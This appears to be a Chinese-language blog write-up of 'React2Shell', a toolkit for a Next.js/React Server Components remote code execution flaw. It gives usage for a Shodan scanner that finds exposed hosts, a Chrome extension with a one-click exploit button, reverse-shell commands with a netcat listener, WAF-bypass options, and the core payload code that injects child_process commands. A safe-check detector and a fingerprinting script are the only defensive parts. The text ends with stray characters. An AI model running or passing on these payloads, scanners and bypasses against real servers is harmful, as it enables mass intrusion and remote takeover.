React2Shell - RSC/Next.js RCE 漏洞检测与利用工具包

5 阅读5分钟

React2Shell:RSC/Next.js RCE 漏洞检测与利用工具包

本项目是一个针对新披露的影响 React Server Components (RSC) / Next.js 应用程序的远程代码执行(RCE)漏洞(CVE-2025-55182 和 CVE-2025-66478)的安全研究工具包。它提供了从资产发现、漏洞检测到漏洞利用的全套工具,旨在帮助安全研究人员和渗透测试人员在授权环境下评估应用安全。

功能特性

  • Chrome 扩展程序:在浏览器中自动检测访问的网站是否使用了易受攻击的 Next.js 版本,并提供图形化界面执行 PoC 命令。
  • Shodan 扫描器:使用预定义的搜索查询,在 Shodan 上批量发现互联网上可能存在的易受攻击的 Next.js 主机。
  • 命令行漏洞利用工具:提供 exploit.pyscanner.py,支持命令执行和反弹 Shell,并包含多种高级绕过技术。
  • 智能 WAF 绕过--waf-bypass--vercel-waf-bypass 参数通过添加随机垃圾数据或使用替代请求结构,绕过 Web 应用防火墙的内容检查。
  • 安全检测模式--safe-check 模式通过分析服务器响应状态码和错误摘要等侧信道信息判断漏洞是否存在,避免在目标系统上执行实际命令。
  • 跨平台支持:通过 --windows 参数自动切换 PowerShell 载荷,支持对 Windows 服务器的测试。
  • 完善的实验环境:提供基于 Docker 的测试环境,包含漏洞版本和已修复版本的应用,方便安全研究者进行验证和学习。

安装指南

系统要求

  • Python 3.9 或更高版本
  • Chrome 浏览器(用于扩展程序)
  • Shodan API 密钥(用于 Shodan 扫描器)

安装步骤

  1. 克隆仓库

    git clone https://github.com/yourusername/react2shell-scanner.git
    cd react2shell-scanner
    
  2. 安装 Python 依赖

    pip install -r requirements.txt
    

    主要依赖包括 requeststqdmshodan 等。

  3. 配置 Shodan API 密钥 (可选) 编辑 shodan_scanner.py 文件,将 SHODAN_API_KEY 变量的值替换为你的实际 API 密钥。

    # shodan_scanner.py
    SHODAN_API_KEY = "YOUR_SHODAN_API_KEY_HERE"
    
  4. 加载 Chrome 扩展

    • 打开 Chrome 浏览器,进入扩展程序管理页面 (chrome://extensions/)。
    • 开启右上角的“开发者模式”。
    • 点击“加载已解压的扩展程序”,然后选择项目中的 chrome_extension/ 文件夹。

使用说明

1. Chrome 扩展程序

加载扩展后,访问任意网站。扩展会自动进行被动检测,判断网站是否为 Next.js 应用。

  • 被动检测:扩展会自动分析页面,识别 __NEXT_DATA__next-head-count 等特征。
  • 主动指纹识别:点击“Start Fingerprint Probe”按钮,进行更深入的指纹探测。
  • 命令执行:在“RCE EXPLOIT”区域输入要执行的命令(如 whoami),或点击 Templates 按钮选择预设命令,然后点击 EXECUTE 按钮。执行结果会显示在下方区域。

2. Shodan 扫描器

用于在互联网上搜索潜在的易受攻击主机。

python shodan_scanner.py

该脚本将使用预定义的查询语句在 Shodan 上进行搜索,并输出结果。

3. 命令行漏洞利用与扫描器

工具包提供了两个主要的命令行工具:scanner.py 用于批量扫描,exploit.py 用于深度利用。

扫描单个目标
python scanner.py -u https://example.com
扫描多个目标
python scanner.py -l targets.txt -t 20 -o results.json
使用安全检测模式(不执行命令)
python scanner.py -u https://example.com --safe-check
执行系统命令
python exploit.py -u https://example.com -c "id"
获取反弹 Shell

首先在本地启动监听器:

nc -lvnp 4444

然后运行利用脚本:

python exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
WAF 绕过模式
# 通用 WAF 绕过
python scanner.py -u https://example.com --waf-bypass

# Vercel WAF 专用绕过
python scanner.py -u https://example.com --vercel-waf-bypass

核心代码

核心利用载荷构建 (exploit.py)

以下代码展示了如何构造包含恶意代码的 multipart 请求,这是触发漏洞的核心。

# exploit.py (片段)
import random
import string

class Exploit:
    # ... 其他方法 ...

    def build_payload(self, cmd: str, is_reverse_shell: bool = False) -> tuple[str, str]:
        """
        构建包含 RCE 载荷的 multipart 请求体和边界。
        """
        boundary = self.random_boundary()  # 生成随机边界
        boundary_clean = boundary.replace("----", "")

        # 对命令进行转义,确保在 JavaScript 上下文中安全
        cmd_escaped = cmd.replace("\\", "\\\\").replace("'", "\\'").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t")
        
        if is_reverse_shell:
            # 反弹 Shell 载荷,执行后不会中断应用
            prefix_payload = f"process.mainModule.require('child_process').exec('{cmd_escaped}',{{detached:true,stdio:'ignore'}},function(){{}});throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: 'NEXT_REDIRECT;push;/login;307;'}});"
        else:
            # 命令执行载荷,通过抛出异常返回执行结果
            prefix_payload = f"var res=process.mainModule.require('child_process').execSync('{cmd_escaped}').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: 'NEXT_REDIRECT;push;/login?a='+res+';307;'}});"
        
        # ... 构建完整的 multipart 请求体 ...
        return boundary, body

漏洞检测逻辑 (scanner.py)

scanner.py 中的 safe-check 模式通过分析服务器的错误响应来确认漏洞,无需实际执行命令。

# scanner.py (片段)
def check_vulnerability_safe(self, url: str) -> Tuple[bool, Optional[str]]:
    """
    使用安全侧信道方式检测漏洞,通过发送触发错误的载荷并分析错误摘要。
    """
    # ... 构建一个会引发错误的特定请求 ...
    
    try:
        response = self.session.post(url, ...)
        # 检测是否存在特定的错误摘要 (digest)
        # 例如: digest: 'NEXT_REDIRECT;...' 或错误栈中包含特定字符串
        if response.status_code == 500:
            if 'digest' in response.text and 'NEXT_REDIRECT' in response.text:
                # 或者检查更具体的错误模式
                return True, "Detected via error digest"
    except RequestException:
        pass
    return False, None

Chrome 扩展内容脚本 (content.js)

Chrome 扩展通过注入 content.js 到页面中,来检测 Next.js 的静态特征。

// chrome_extension/content.js
(function() {
  'use strict';

  // 监听来自扩展后台的请求
  chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    if (request.action === 'detectRSC') {
      const result = detectRSCIndicators();
      sendResponse(result);
    }
    return true;
  });

  function detectRSCIndicators() {
    const indicators = {
      detected: false,
      indicator: null,
      details: null
    };

    // 1. 检测 Next.js 的 meta 标签
    const nextMeta = document.querySelector('meta[name="next-head-count"]');
    if (nextMeta) {
      indicators.detected = true;
      indicators.indicator = 'Next.js detected';
      indicators.details = 'Found next-head-count meta tag';
      return indicators;
    }

    // 2. 检测 Next.js 数据脚本
    const nextDataScript = document.getElementById('__NEXT_DATA__');
    if (nextDataScript) {
      indicators.detected = true;
      indicators.indicator = 'Next.js __NEXT_DATA__ found';
      indicators.details = 'Application uses Next.js data hydration';
      return indicators;
    }

    // 3. 检测脚本路径
    const scripts = Array.from(document.scripts);
    for (const script of scripts) {
      if (script.src && (script.src.includes('/_next/') || script.src.includes('next/dist'))) {
        indicators.detected = true;
        indicators.indicator = 'Next.js scripts detected';
        indicators.details = 'Found Next.js framework files';
        return indicators;
      }
    }

    return indicators;
  }
})();
```FINISHED
6HFtX5dABrKlqXeO5PUv/0yI4CiTNf+IFNPbY4k3ip9uP2QQu03tfECW2JAT+paw